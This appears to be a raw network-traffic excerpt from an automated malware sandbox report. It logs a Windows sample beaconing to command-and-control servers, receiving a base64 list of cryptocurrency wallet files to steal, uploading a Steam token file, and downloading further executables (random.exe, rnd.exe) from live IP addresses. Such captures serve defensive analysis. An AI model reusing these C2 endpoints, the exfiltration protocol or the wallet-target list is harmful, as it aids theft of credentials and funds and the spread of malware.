00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 22, 2024 17:09:06.004367113 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 17:09:07.123918056 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:09:07.442433119 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="message"wallets------ECAFHDBGHJKFIDHJJJEB--
Nov 22, 2024 17:09:07.891264915 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 22, 2024 17:09:08.096143007 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="message"files------IIEBKJECFCFBFIECBKFB--
Nov 22, 2024 17:09:08.544879913 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:09:08.558156013 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file"------IJDBGDGCGDAKFIDGIDBF--
Nov 22, 2024 17:09:09.510399103 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:09:09.540405035 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="message"ybncbhylepme------BFBGCFCFHCFHIECAEHDH--
Nov 22, 2024 17:09:09.996196032 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49828	185.215.113.16	80	7928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:09:10.122234106 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 22, 2024 17:09:11.501059055 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 16:09:11 GMT Content-Type: application/octet-stream Content-Length: 1922048 Last-Modified: Fri, 22 Nov 2024 16:00:36 GMT Connection: keep-alive ETag: "6740aaa4-1d5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@L@pL@WkH%L%L @.rsrcH@.idata @ @+@hockpqtz@16@wxulotut0L.@.taggant0@L"2@
Nov 22, 2024 17:09:11.501168013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 17:09:11.501178980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 17:09:11.501230955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 17:09:11.501269102 CET	1236	IN	Data Raw: ca 2d fd 16 7b db 2d e1 1b 0e 11 13 bf 12 8f 7d 6c ba 75 d2 f4 68 3c 85 8d 88 98 37 8a ec 8c 62 2e 30 20 8c 2b f0 08 57 87 f7 f0 54 0b 09 00 7b db f8 4c 97 d7 16 bc 01 2d f9 7c e6 84 5b 8d 81 0b 6c e1 45 a3 b7 b1 82 7d 3b 8b 54 4b f9 c4 48 7c 97 Data Ascii: -{-}luh<7b.0 +WT{L-\|[lE};TKH\|}dLFlB0*w~l:o,B&Hao3.3Ak8Cq\|l#=Vk$u<XeJN0W+04~>%M<}qlncDd63
Nov 22, 2024 17:09:11.501280069 CET	1120	IN	Data Raw: 1a 2c 63 c7 5a 44 bd 14 73 50 51 98 b2 c7 12 9c eb 2a 89 aa 7c 6b 31 1f fc 25 8d a2 0f 70 2c 57 fb 0a e5 4e 4d d0 95 0d 0e 4e 39 4a e4 ec ac 26 5f 8b 0d 42 85 3b 92 53 63 ea 0b 0a 8a 58 11 63 2b 2c 97 46 6b 80 47 75 af 3f 8e ae 5b af 71 36 01 89 Data Ascii: ,cZDsPQ*\|k1%p,WNMN9J&_B;ScXc+,FkGu?[q6.hpVxib@R7wIhmj~8cx`/%T9nz%9SsYiA]mo6tU0h4q^(twKcmlti},ll>cCTi9+sR0#
Nov 22, 2024 17:09:11.501291037 CET	1236	IN	Data Raw: 15 b1 7e fa dd 9c d1 22 7d 3d 19 24 62 f1 74 a3 83 69 05 21 cf 77 77 89 9e 75 f5 f4 08 4b f8 5d 61 ee 33 9c aa f4 7c f9 ec 64 f9 7c 73 0a 15 c6 49 f5 f6 d4 17 4b cb 3e 75 d4 70 17 43 2a 14 a0 5d dc 50 6e 93 aa 79 90 92 95 b0 f6 b1 90 78 6a 27 f8 Data Ascii: ~"}=$bti!wwuK]a3\|d\|sIK>upC]Pnyxj')l"up2hC]F+4C1!G\|Uw\|Zd3T\X>hG53Y#z3H<!Uq"b$C8!L4O./yk9#ov5-Gq$\|>9WdL
Nov 22, 2024 17:09:11.501386881 CET	1236	IN	Data Raw: f0 2d 06 5b 61 7b d1 9f b6 b0 ef b9 e3 9a 71 8c 0c 98 0d 21 80 39 84 83 14 16 7b 6a ed f8 ce 5c 9c 13 71 8d 5c 7c b5 b5 60 45 e0 f6 03 f8 54 db a5 72 dc e2 a5 44 27 f6 ff e0 ac c7 61 9f 62 5e bd ad b4 6f 31 50 3d 1f 9e 78 8d 16 7e 91 10 8d 7f 68 Data Ascii: -[a{q!9{j\q\\|`ETrD'ab^o1P=x~heyw+IfXX8~_Nw]e&}Go=49}r]7fg_2):hNX0g!b}:yr\|EZHy+:sn{Bb;iRd#9&lc4
Nov 22, 2024 17:09:11.501399040 CET	1236	IN	Data Raw: d7 27 6f c3 87 45 fa 5f 3a 26 86 13 91 08 a4 cd 55 40 b7 4b f2 80 5f 54 56 d1 03 5f a3 f4 a1 9c 79 d8 b3 8c e3 20 e3 38 a8 a4 3d a1 8e c3 11 cc 1b 46 7f 08 3d d6 59 94 13 8a 86 68 55 7c 31 c7 c1 f2 48 19 bf b8 95 ce 7c 45 35 33 76 b4 2d 31 3f 23 Data Ascii: 'oE_:&U@K_TV_y 8=F=YhU\|1H\|E53v-1?#4q`C'F?l?x.@L+uF7p.g-"!_iD-DF&uX?g?M6lxt?1$l_T&FyTV3v
Nov 22, 2024 17:09:11.501410007 CET	1236	IN	Data Raw: 5c ef cf 6d 4f 83 59 99 b9 15 5f 91 8d 38 7d 7a 0f fe bf 08 b9 33 81 07 df 6f d3 11 2f eb dc 1e de d6 6e 1d d0 dc cc 6d 80 98 7d c4 fb 89 46 a0 6a 15 a9 7f ab 29 f6 6f 17 78 73 f2 80 a0 f8 38 21 c5 f9 ba 4a 00 70 db c5 e7 81 90 73 1d 09 3d e3 a1 Data Ascii: \mOY_8}z3o/nm}Fj)oxs8!Jps=!wW\#1Fqy8/7iTry:YwunCv^x3;}ax51Wo:qZ/ZgfD1k?n}~{U2nY@\|Ou2MD8
Nov 22, 2024 17:09:11.620888948 CET	1236	IN	Data Raw: 8d e8 ed d9 36 58 8d 36 13 fe 89 d3 2a f7 c6 10 55 16 f8 df 25 2b 97 21 28 b3 17 30 89 e8 ed d5 49 b6 2a d4 57 c1 69 53 d1 f8 a8 dd 65 33 0d 87 37 df 06 49 22 39 30 dc 29 38 97 93 1c 97 6f 21 d7 dd 70 5f 37 74 0a 5d 6f 8c 0d 6b 2e 1b fa dc a2 9a Data Ascii: 6X6U%+!(0IWiSe37I"90)8o!p_7t]ok.9] {ocK{]s(Qq88BP,2S*A2u.j'S\|2uu>}QnB1oy:i\|8C"E7Y%j+D3qT+>4lx+;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49832	185.215.113.206	80	7928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:09:15.294879913 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFBAEGDHIEBFHDGCB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 42 41 45 47 44 48 49 45 42 46 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------BAFCFBAEGDHIEBFHDGCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAFCFBAEGDHIEBFHDGCB--
Nov 22, 2024 17:09:17.440453053 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49900	185.215.113.43	80	8572	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:10:04.950645924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 17:10:06.365829945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 16:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49907	185.215.113.43	80	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:10:08.000835896 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 30 37 44 42 32 33 39 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC07DB239B96DA0445166EF7A7D35B1E750864299
Nov 22, 2024 17:10:09.410229921 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 16:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 35 0d 0a 20 3c 63 3e 31 30 30 38 32 31 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 31 39 36 30 66 34 39 61 36 35 36 23 31 30 30 38 32 33 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 32 33 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 32 33 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 [TRUNCATED] Data Ascii: 215 <c>1008217001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd971960f49a656#1008231001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008232001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008233001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008234001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008235001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49912	31.41.244.11	80	8572	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:10:09.541699886 CET	51	OUT	GET /files/rnd.exe HTTP/1.1 Host: 31.41.244.11
